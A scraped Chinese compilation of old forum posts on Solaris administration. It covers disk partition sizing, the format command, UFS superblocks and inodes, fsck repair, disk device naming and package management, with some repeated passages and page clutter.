2、/var分区太小,造成需要经常维护 3、安装补丁时,没有空间,造成安装补丁失败 4、升级软件或软件安装后,磁盘空间不合理,为系统运行留下隐患 5、/home区问题 为了解决此问题,下面推荐几种分区大小 许多问题都是由于分区不合理所致: 1、/或/usr等分区满 2、/var分区太小,造成需要经常维护 3、安装补丁时,没有空间,造成安装补丁失败 4、升级软件或软件安装后,磁盘空间不合理,为系统运行留下隐患 5、/home区问题 为了解决此问题,下面推荐几种分区大小,经过多年实践,能满足大部分系统的要求, 9GB 硬盘 HD 安装Solaris 7 / 512m swap 512m ----- 4096m /var 512m /usr 2048 /opt 剩余 (用户主目录和第三方软件均防在/opt下) 或者 / 剩余 swap 1024m 18GB硬盘 HD / 1024m swap 2048m ----- 4096m /var 1024m /usr 4096 /opt 剩余 (用户主目录和第三方软件均防在/opt下) 36GB硬盘 HD / 2048m swap 4096----- 8192m /var 2048m /usr 6G---8G /opt 剩余 (用户主目录和第三方软件均防在/opt下) 72GB硬盘 HD / 4096m swap 4096 ----- 16384m /var 4096m /usr 6G---10G /opt 剩余 (用户主目录和第三方软件均防在/opt下) 注意:如果是mail系统,大部分空间应该分给/var 采用这种分法,可以满足大部分系统的要求 例子 安装oracle 可以将Oracle介质安装在/opt下 几点说明: 1、本分区方法可以针对目前大多数应用。近五年的经验表明,用户没有发生报/var区或/根区满的问题! 2、需要进行特殊分区的情况: a.Sun Disksuite需要300m的metadata DB空间,如果需要使用,可以从Swap区中挖取 b.如果安装Sun Cluster,而且要使用VxVM,请将/区和/usr区合并,保证系统盘有两个空闲未用的分区,这样Veritas VxVM在封装根盘的时候才不会出错!!! 3、关于交换区的大小:认为交换区是内存两倍的说法是错误的!!!在工程中你可以这样做,而且在大多数情况下,系统不会因为这种配置出错。实际上,交换区的大小是系统各异的:如果你的内存足够大或者你只运行小程序,你甚至不需要交换区;但是如果系统要运行需要大虚拟地址空间的进程,交换区是需要特殊配置的。下面举例说明: Sun E450上有1G内存,18G硬盘两块 假设你为它设置交换区为2G,在下面的情况,系统会出错: 有一C程序,需要malloc(申请内存空间的函数)3G的动态内存,那么如果没有新的交换文件作交换区的话,程序会出错的!!!! 实际上,常规分为两倍的原因主要的假设是:将内存中所有的内容换到交换区上,又把先前的交换区中的内容换回来的空间。 由于32位地址总线的计算机的地址空间是4GB(2的32次方),所以例子例子中的配置情况甚至不能满足一个大进程的空间分配需求!!! 综合上述:交换区的分配原则是,随着硬盘容量的增长,尽量为其分配更大的空间!!!! win_hate 回复于:-03-11 22:34:58正需要这个,谢谢! pengtao_hlp 回复于:2004-03-11 22:44:14好。顶 都是精髓!!无可挑剔啦。。 C.Arthur 回复于:2004-03-11 22:47:47我感觉根还是需要大一点 guchengman 回复于:2004-03-11 23:03:36此人不简单, 不断的原创, 我将一顶再顶. C.Arthur 回复于:2004-03-11 23:07:12是的,而且回答问题很仔细,写的东西也很实用,所有偶给他精华大家没意见吧 suclearcase/” target=“_blank” >ccess_king 回复于:2004-03-12 08:56:05严重同意 我爱臭豆腐 回复于:2004-03-12 09:03:41好同志啊:) fyx 回复于:2004-03-12 09:34:23同志真是有心啊,非常实用。。。。。 iloveyouyouloveme 回复于:2004-03-12 09:51:42好啊 slahf999 回复于:2004-03-12 10:01:37说的对,我在SOLARIs 7下安装一个3D图像处理软件,刚刚开始一直提示SWP小无法安装,直到我把SWP分区加大到1550M材安装成功,早点看到你的贴就好了。 Leenux 回复于:2004-03-12 11:18:28土土的问一下,如果不细分/home,/var,/opt....等分区,只分出/swap和/,有什么不方便吗?至少这样不用担心哪个分区空间紧张了, oldunix回复于:2004-03-12 11:29:13[quote=“Leenux”]土土的问一下,如果不细分/home,/var,/opt....等分区,只分出/swap和/,有什么不方便吗?至少这样不用担心哪个分区空间紧张了。[/quote] 如果/空间快满了,你从何下手解决问题??? 如果将/ /usr /var /opt分开,这会更有针对性 xinpingf 回复于:2004-03-12 11:45:34严重支持 melonm 回复于:2004-03-12 12:30:22好文章,建议收为精华。但我想对分区上谈几点个人的看法,希望大家指正。 1. 一般情况下我认为应该把/ 和/usr以及/opt都放在根目录下,这对系统恢复尤其为用。/usr下有许多工具在系统崩溃时需要,尤其是/usr/sbin/static,有一些cp.ln,tar等等的工具是static linked,也就是说,不需要任何library就可以使用。把/usr和/放在根目录有助于系统的一致性。而且更重要的是,对于现在的大硬盘来说,有但可以更有效的利用空间,而且也可以减少不必要的管理。 这一分区方法在系统中存在Veritas时尤其有用,旧版的Veritas都装在/usr下,新版的都在/opt下,一旦包括根盘在内的所有磁盘都交给Veritas管理了,没有Veritas工具在内的/是没有任何意义的。 2. 按照Solaris本身的设计,用户的本地宿主目录应该在/export/home下,autohome目录应该在/home下。把它们放在/opt下与系统设计的原则不太一致。Oracle推荐一般都在/u01,/u02下,但程序本身在哪可能也没有太大关系。 3. /var和/export/home应该作为单独的分区,因为它们在潜在的意外扩大的可能性,而且数据比较动态,有可能造成空间的fragmentation。分出作为单独的分区可以维持系统的稳定性。 4. Solaris总共只有7个分区可以使用,按照以上原则:/(s0),swap(s1),var(s5),/export/home(s7),也只有三个分区剩下了,无论是SDS或者Veritas都需要两个单独的分区,Veritas缺省使用S3和S4,我一般把SDS也用在S3和S4上,也就是说,一个安全安装的系统,最多也只能有一个分区给应用程序或者应急时使用,也就是S6。这可以用来作Oracle的/u01或者/usr/local(如果系统比较BSD的话),但留一个作备用是很需要的,可以在数据大量发生变化时避免对系统重新分区。 按照以上的几点看法,我一般这样分区: s0 / s1 swap s2 disk s3/s4 SDS/Veritas s5 /var s6 free s7 /export tangxh 回复于:2004-03-12 12:50:27请问楼主/分区已满该怎么解决? 科学蛋 回复于:2004-03-12 12:51:54用SDS解决啊 metor78 回复于:2004-03-12 13:03:09ln也可以 oldunix 回复于:2004-03-12 13:09:39解决问题的方法是不让问题发生! 问题发生了,那就用ln -s 命令,将空间满的某个目录备份到另外一个文件系统 然后做符号连接 tangxh 回复于:2004-03-12 13:17:33我的/根分区快满了该怎么解决呀! tangxh 回复于:2004-03-12 13:20:58能具体点吗? oldunix 回复于:2004-03-13 23:19:391、找出根区(或某一分区)下哪个目录占的磁盘空间大 ,如/DirWantToMoveAway 2、找一有空闲磁盘空间的分区/PartitionMountPointHaveDiskSpace 3、 mv /DirWantToMoveAway /DirWantToMoveAway.bak cp -r /DirWantToMoveAway.bak \ /PartitionMountPointHaveDiskSpace/DirWantToMoveAway ln -s /PartitionMountPointHaveDiskSpace/DirWantToMoveAway \ /DirWantToMoveAway Note: 3中的 \表示一行没有结束 tangxh 回复于:2004-03-15 09:18:45非常感谢楼主 goldeneye 回复于:2004-03-15 11:07:0336G硬盘,内存1G,分区 / 32G swap 2G /export/home 2G 楼主有什么看法。 oldunix 回复于:2004-03-15 11:20:59运行一段时间后会有问题!!! 例如:如果你有磁带机,某一天你在备份大文件(3GB)的时候不幸将带机的 设备名写成/dev/rmt/o(这不是数字0,是字母O的小写),那么,你很难发现你的/少了3GB的磁盘空间,尤其是你在网上远程备份的时候! 有很多例子可以说明你的这种分法会在未来产生问题! www.pctint.com 回复于:2004-05-09 00:35:59不错不错。。支持。。。。。。。。 原文转自:www.ltesting.net Solaris硬盘分区简介 Solaris下,一个磁盘包含8个分区,标记为0-7,此信息可以通过format命令,然后选择一个硬盘来看到,例如,在我自己的系统中(Solaris9,Ultra60),显示出来的信息如下: #format Searchingfordisks...done AVAILABLEDISKSELECTIONS: 0. Solaris硬盘分区简介 Solaris下,一个磁盘包含8个分区,标记为0-7。此信息可以通过format命令,然后选择一个硬盘来看到,例如,在我自己的系统中(Solaris 9,Ultra 60),显示出来的信息如下: # format Searching for disks...done AVAILABLE DISK SELECTIONS: 0. c0t0d0 /pci@1f,4000/scsi@3/sd@0,0 Specify disk (enter its number): 0 selecting c0t0d0 [disk formatted] Warning: Current Disk has mounted partitions. FORMAT MENU: disk - select a disk type - select (define) a disk type partition - select (define) a partition table current - describe the current disk format - format and analyze the disk repair - repair a defective sector label - write label to the disk analyze - surface analysis defect - defect list management backup - search for backup labels verify - read and display labels save - save new disk/partition definitions inquiry - show vendor, product and revision volname - set 8-character volume name ! quit format> p PARTITION MENU: 0 - change `0' partition 1 - change `1' partition 2 - change `2' partition 3 - change `3' partition 4 - change `4' partition 5 - change `5' partition 6 - change `6' partition 7 - change `7' partition select - select a predefined table modify - modify a predefined partition table name - name the current table print - display the current table label - write partition map and label to the disk ! quit partition> 不要看到内容这么多,就被吓住了,其实,format命令之后0. c0t0d0 FORMAT MENU: disk - select a disk type - select (define) a disk type partition - select (define) a partition table current - describe the current disk format - format and analyze the disk repair - repair a defective sector label - write label to the disk analyze - surface analysis defect - defect list management backup - search for backup labels verify - read and display labels save - save new disk/partition definitions inquiry - show vendor, product and revision volname - set 8-character volume name ! quit format> p 这里所列出来的,是可以使用的命令,比如我在最下面format>,就是用了p这个命令(慢点,上面没有p这个命令啊?其实,这里p就是partition的简写),然后,列出了以下内容: PARTITION MENU: 0 - change `0' partition 1 - change `1' partition 2 - change `2' partition 3 - change `3' partition 4 - change `4' partition 5 - change `5' partition 6 - change `6' partition 7 - change `7' partition select - select a predefined table modify - modify a predefined partition table name - name the current table print - display the current table label - write partition map and label to the disk ! quit partition> OK,到这里,我们的目的也达到了,这些信息应该很清楚的证明了:Solaris下,一个磁盘包含8个分区,标记为0-7。后面的仍然是一些可以用到的命令,这些命令的具体含义,大家可以看命令后面的英文介绍,至于怎么使用,以后再说。下面我们将进入今天的重点。 向一块硬盘写入数据之前,首先需要将其分区和格式化,这个过程一般可以分为3个步骤: 1. 物理格式化,也就是通常所说的低级格式化(Low-Level Formatting,LLF); 2. 分区; 3. 逻辑格式化,也就是通常所说的高级格式化(High-Level Formatting,HLF) 低级格式化的时候,硬盘被分成若干个磁道,这些磁道又被分成若干个扇区,每个扇区填充了随机数据。几乎所有的硬盘在出厂前都已经被低级格式化过,所以,用户只要对硬盘进行下面两个步骤(分区和逻辑格式化)就可以了。 分区的动作将硬盘分成几个部分,成为分区或者是分片(注意:前面的“分区”是动词,后面的是名词哦)。每个分区/分片由若干个柱面组成。绝大多数下,Solaris中的一个分区一一对应一个文件系统, 一个分区不能包含多个文件系统;同样,一个文件系统也不能跨越多个分区。Solaris中,对硬盘进行分区,就是使用我们开始的时候使用过的format命令。 当Solaris进行高级格式化的时候,将每个分区分成许多柱面组,每个柱面组包括了几个连续的柱面。文件系统在这些柱面组中建立文件和目录,并尽量将同一个文件的数据保存在同一个柱面组中。这样的机制能够保证磁头读取数据的时候移动最少,从而加快数据的读取速度。Solaris中使用newfs命令来实现高级格式化,默认的文件系统是UNIX文件系统(UFS:UnixFile System),它使用下列类型的块: 1. 引导块:存储系统启动时所需的信息 2. 超级块:存储文件系统信息 3. 索引节点(i节点):存储文件系统中的单个文件信息 4. 存储块/数据块:存储文件数据 下面来详细介绍一下这几种类型的块。 引导块: 引导块存储系统启动时所需的信息。引导块总是位于硬盘的第一个柱面组,占用分区的前8KB。 超级块: 超级块存储文件系统信息,它包含了下列信息: 1. 文件系统中总块数(文件系统大小) 2. 文件系统中数据块的数目 3. 索引节点的数目 4. 柱面组的数目 5. 块的大小 6. 磁盘碎片的大小 7. 空闲块的个数 8. 空闲的索引节点的个数 超级块对文件系统极其重要,所以Solairs系统采用多个备份来确保它的安全。偶尔,当没有正常关闭系统或硬盘出现故障的时候,会造成默认超级块不能正确读取或者是和其备份的超级块不一致。这时,就需要进行修复工作。通常在重新启动系统的时候,系统会调用fsck命令来自动完成。当fsck发现默认的超级块已经损坏而且无法自动修复的时候,会提示用户手动进行修复。 手动进行修复的时候,可以根据以下几个步骤进行: 1. 以单用户的身份进入系统,例如在PROM的模式下(即ok状态下)用命令boot -s可进入单用户模式,或者在系统中sync;sync;sync;init 0也可进入单用户模式(至于什么是单用户模式,以后会详细介绍) 2. 如果损坏的文件已经安装到文件树中,可以进入另一个目录,然后将损坏的文件系统卸载,例如: #cd / #umount /var 3. 使用newfs -N命令显示超级块的值,此命令会列出备用的超级块在文件系统中的位置: # newfs -N /dev/dsk/c0t0d0s1 /dev/rdsk/c0t0d0s1: 961248 sectors in 204 cylinders of 19 tracks, 248 sectors 469.4MB in 13 cyl groups (16 c/g, 36.81MB/g, 17664 i/g) super-block backups (for fsck -F ufs -o b=#) at: 32, 75680, 151328, 226976, 302624, 378272, 453920, 529568, 605216, 680864, 756512, 832160, 907808, 4. 从newfs -N命令列出的备用超级块中选择一个作为fsck命令的一个选项进行修复: #fsck -F ufs -o b=453920 /dev/rdsk/c0t0d0s1 索引节点 索引节点包含了一个文件除去文件名以外的所有信息。一个索引节点占用128字节的磁盘空间,它包含了下列信息: 1. 文件类型:普通文件、目录、块设备文件、字符设备文件、链接等 2. 文件权限:读、写、执行权限的组合 3. 文件的硬链接数 4. 文件所有者的用户ID 5. 文件所属的组ID 6. 文件大小(字节数) 7. 一个包含15个磁盘块地址的数组 8. 文件最近的访问日期和时间 9. 文件最后一次修改的日期和时间 10. 文件创建的日期和时间 硬盘上的每个文件,都有一个描述它的信息的索引节点。文件系统创建的时候,一定数目的索引节点在硬盘柱面组中被同时创建。有时候,这些索引节点或许会不够用,例如当一个程序产生大量小文件的时候,此时文件系统就需要增加索引节点。同样,如果我们事先知道此文件系统只用来存放少数大文件,我们就可以通过减少索引节点的数目来达到节省磁盘空间的目的――毕竟每个索引节点占用128字节。创建文件系统的时候,可以使用newfs命令的-i选项来增加或者减少索引节点的数目。/usr/ucb目录下的df命令可以查看文件系统中所引节点的状况。例如: # usr/ucb/df -i Filesystem iused ifree %iused Mounted on /dev/dsk/c0t0d0s0 131672 1929384 6% / 注意:文件系统一旦创建,就无法改变它的索引节点数目,因此,当索引节点不够用的时候,首先应当备份此文件系统数据,然后创建一个包含更多索引节点的新的文件系统,然后将备份的数据恢复到新的文件系统就可以了。 存储块/数据块 存储块,也叫做数据块,它占用了文件系统的其他所有空间。这些块包含了存放在磁盘上的数据文件。每个存储块的大小在创建文件系统的时候被确定。对一个普通文件来说,存储块存放了文件的内容,对一个目录来说,存储块中存放了此目录中所有文件的索引节点号和文件名的信息。 磁盘命名 这里主要是详细解释我们最开始使用format命令的时候,看到的c0t0d0这个表示的详细含义。在Solaris系统中用设备名来代表磁盘。磁盘设备名是类似cXtXdX格式的一系列字母和数字,比如我们看到的c0t0d0。设备名中的字母(c, t,d)都是一样的,但X代表的数字表示特定的磁盘或者系统。例如c0t0d0表示0号控制器,0号磁盘,0号LUN,这通常指代系统中的第一个硬盘,往往也是系统的启动磁盘(boot disk)。 Sun使用下列命名方式定义逻辑设备名: /dev/[r]dsk/cXtXdXsX c:逻辑控制器号(逻辑控制器) t:物理总线目标号 d:磁盘或逻辑单元号(LUN) s:分区号 cX : X指磁盘控制器。当SUN系统搜集安装在系统中的磁盘控制器信息时,它给每个磁盘控制器一个数值,数值取决于系统监测控制器的先后顺序。第一个被检测到的控制器分配的数值是0,第二个控制器是1,依次类推。对IDE系统来说,第一个IDE通道为0,第二个(如果存在的话)通道为1。 tX : X指磁盘的目标号。这个数字有时候被称为SCSI标识符,磁盘控制器上的每一个磁盘都有一个唯一的目标号。控制器通过这个目标号可以对每个磁盘独立寻址。对IDE磁盘而言,主盘的目标号是0,从盘的目标号是1。 dX : X指磁盘的逻辑单元号(LUN)。在有些磁盘阵列中,LUN被用来区分系统中的各个磁盘。一个阵列可以用一个目标号来表示一组磁盘,然后用LUN来表示这个磁盘组中的单个磁盘。这种方式被广泛应用于SCSI磁盘阵列和光盘转换设备中。对单个磁盘或IDE磁盘,这个数字总是设定为0。 sX : X指磁盘上的分区号。它和磁盘的分区对应。就如我们前面所说的“Solaris下,一个磁盘包含8个分区,标记为0-7”,因为这里X的数值只能是0――7。 以上的内容,就可以详细说明出c0t0d0s0的含义了。 oklinuxok 回复于:-04-30 12:52:57不错,ding,继续努力 ninedot 回复于:2005-04-30 14:08:36好,赞一个! jiaxirui 回复于:2005-04-30 16:27:23哈哈,好东东,应该加精! aping2005 回复于:2005-05-09 16:16:46好不错 songyupo 回复于:2005-05-09 20:00:50好东西,不过短短几天就1400多人看,可是够受欢迎的 GoldSn0ke 回复于:2005-05-10 15:26:17好文章,大彻大悟! http_d 回复于:2005-05-10 16:09:44好东西 好东西 小新人请多多指教QQ群8751162有空的高手们请来聊聊 xu_time 回复于:2005-05-14 10:32:01不错 yanzemeng 回复于:2005-05-17 16:47:06ding atfa 回复于:2005-05-17 21:52:15我第一次接触solaris,问一个没有通过这个帖子看懂的问题: 楼主介绍:Solaris下,一个磁盘包含8个分区,标记为0-7 可是我先在的硬盘上已经有10个分区啦,我的第一块硬盘160G,第二块30G,第三块15G,分区已经超过8个了,而且我觉得分区的数量和OS 应该无关吧,难道solaris只能识别我的前8个分区? 或者应该这样理解:我可以选择将solaris安装到我的hda3(Linux里面的说法),然后solaris再在我的hda3里面划分更小的分区,一共可以分8个? hannibal 回复于:2005-05-24 15:57:33楼上的,你是用的volume manager吧。 硬盘缺省分区数是有限制的。用了逻辑卷后可以任意分。 vipmax 回复于:2005-05-26 20:19:03好贴要顶您的楼主谢谢了 yunyun123 回复于:2005-05-27 09:18:21虽然没有明白,但是还是顶一下!! 看过后以前知道的地方还是知道,不知道的地方还是不知道 fjingxu 回复于:2005-06-07 00:09:46不错,支持一下。 sliny 回复于:2005-06-07 10:16:42基础很重要!!!!! silentcool 回复于:2005-08-20 10:32:51知道这些内容就可以了。磁盘管理!鼎,顶! :em11: ycxm 回复于:2005-08-23 08:23:59默认0-7, 自己可另设吧 zarchary 回复于:2005-08-23 11:31:18好东西 Philmoon 回复于:2005-08-23 12:27:49好! 分区2的特殊性(代表整个磁盘空间)最好在最后一节的sX中先提一下。 vante 回复于:2005-08-28 15:16:18不错 原文转自:www.ltesting.net Solaris中的软件管理,包括检查、安装 检查软件包是否已经安装到机器上了 # pkginfo -i SUNWarc SUNWbtool SUNWhea SUNWlibm SUNWlibms \ SUNWsprot SUNWsprox SUNWtoo SUNWi1of SUNWi1cs SUNWi15cs SUNWxwfnt 结果为: system SUNWarc Archive Libraries sys 检查软件包是否已经安装到机器上了 # pkginfo -i SUNWarc SUNWbtool SUNWhea SUNWlibm SUNWlibms \ SUNWsprot SUNWsprox SUNWtoo SUNWi1of SUNWi1cs SUNWi15cs SUNWxwfnt 结果为: system SUNWarc Archive Libraries system SUNWbtoolCCS tools bundled with SunOS system SUNWhea SunOS Header Files system SUNWi1of ISO-8859-1 (Latin-1) Optional Fonts system SUNWlibm Sun WorkShop Bundled libm system SUNWlibms Sun WorkShop Bundled shared libm system SUNWsprot Solaris Bundled tools system SUNWsprox Sun WorkShop Bundled 64-bit make library system SUNWtoo Programming Tools system SUNWxwfnt X Window System platform. required fonts ERROR: information for “SUNWi1cs” was not found ERROR: information for “SUNWi15cs” was not found 注:SUNWi1cs和SUNWi15cs这两个软件包没有被安装上去, 软件包在Solaris中的管理Windows系统 , 安装软件包 #pkgadd -d /mnt/iso/Solaris_8/Product SUNWi15cs 原文转自:www.ltesting.net 关于vmware+solaris9的安装,大家看过来 chinaunix.net/forum/viewtopic.php?t=6162nbsp; chinaunix.net/forum/viewtopic.php?t=16574nbsp; chinaunix.net/forum/viewtopic.php?t=16623nbsp; chinaunix.net/forum/viewtopic.php? 关于vmware+solaris9的安装,大家看过来 chinaunix.net/forum/viewtopic.php?t=6162&highlight=vmware Solaris8-x86在VMware上的安装(补充攻略) chinaunix.net/forum/viewtopic.php?t=16574&highlight=vmware 全面搞定vmware上装solaris chinaunix.net/forum/viewtopic.php?t=16623&highlight=vmware 终于搞定了在VMware中安装Solaris,而且安装了显卡, chinaunix.net/forum/viewtopic.php?t=16625&highlight=vmware VMware可以做群集了 chinaunix.net/forum/viewtopic.php?t=19674&highlight=vmware Solaris 9 Intel + VMWare 安装偶得 chinaunix.net/forum/viewtopic.php?t=33714&highlight=vmware 在vmware workstation 4.0 上安装solaris9i的全过程(黄金版) chinaunix.net/forum/viewtopic.php?t=117295&highlight=vmware IBM Thinkpad A30 Notebook笔记本安装solaris 8 x86手记 www.chinaunix.net/forum/viewtopic.php?t=116237 allonsun 回复于:2003-07-21 08:51:22总结的不错,但是偶的笔记本VMware+Solaris8还是配置不好显卡,最后只能到蜘蛛的网站上下载了一个已经配置完整的VMware+Solaris9程序,重新配置完显卡后就完全正常了!!:) 非凡公子 回复于:2003-07-21 14:35:34如何在vm中使用SCSI设备的资料有吗? shimu 回复于:2003-07-21 22:31:38我用的vmware gx server 2.1,下的配好都不行, 郁闷。。 原文转自:www.ltesting.net ★ informix 的每个版本的安装问题!Windows系统 ★ 如何在Windows系统上利用Telnet协议连接Linux服务器? ★ sco unix5.05系统intel pro100+网卡安装心得Windows系统 ★ 解决如何修改mysql服务器监听端口的问题。Unix系统 【Solaris学习笔记Windows系统(共5篇)】相关文章: 如何保障Unix系统安全Windows系统2023-07-25 日志式文件系统简介Windows系统2022-05-02 理解CCSID,LANGID对系统内码的影响Windows系统2022-05-14 SA399第一章读书笔记2022-08-12 操作系统实习报告2022-09-25 硬盘的物理结构Unix系统2023-03-19 磁带的抒情散文2022-07-25 arthur诊断故事第一集vol的故事Windows系统2022-08-04 应聘网络维护职位简历2022-07-28 毕设演讲稿2023-09-26篇2::Solaris文件系统分区建议Windows系统
篇3:隆重推荐:Solaris硬盘分区简介Windows系统
篇4:软件包在Solaris中的管理Windows系统
篇5:在vmware中安装solaris FAQ Windows系统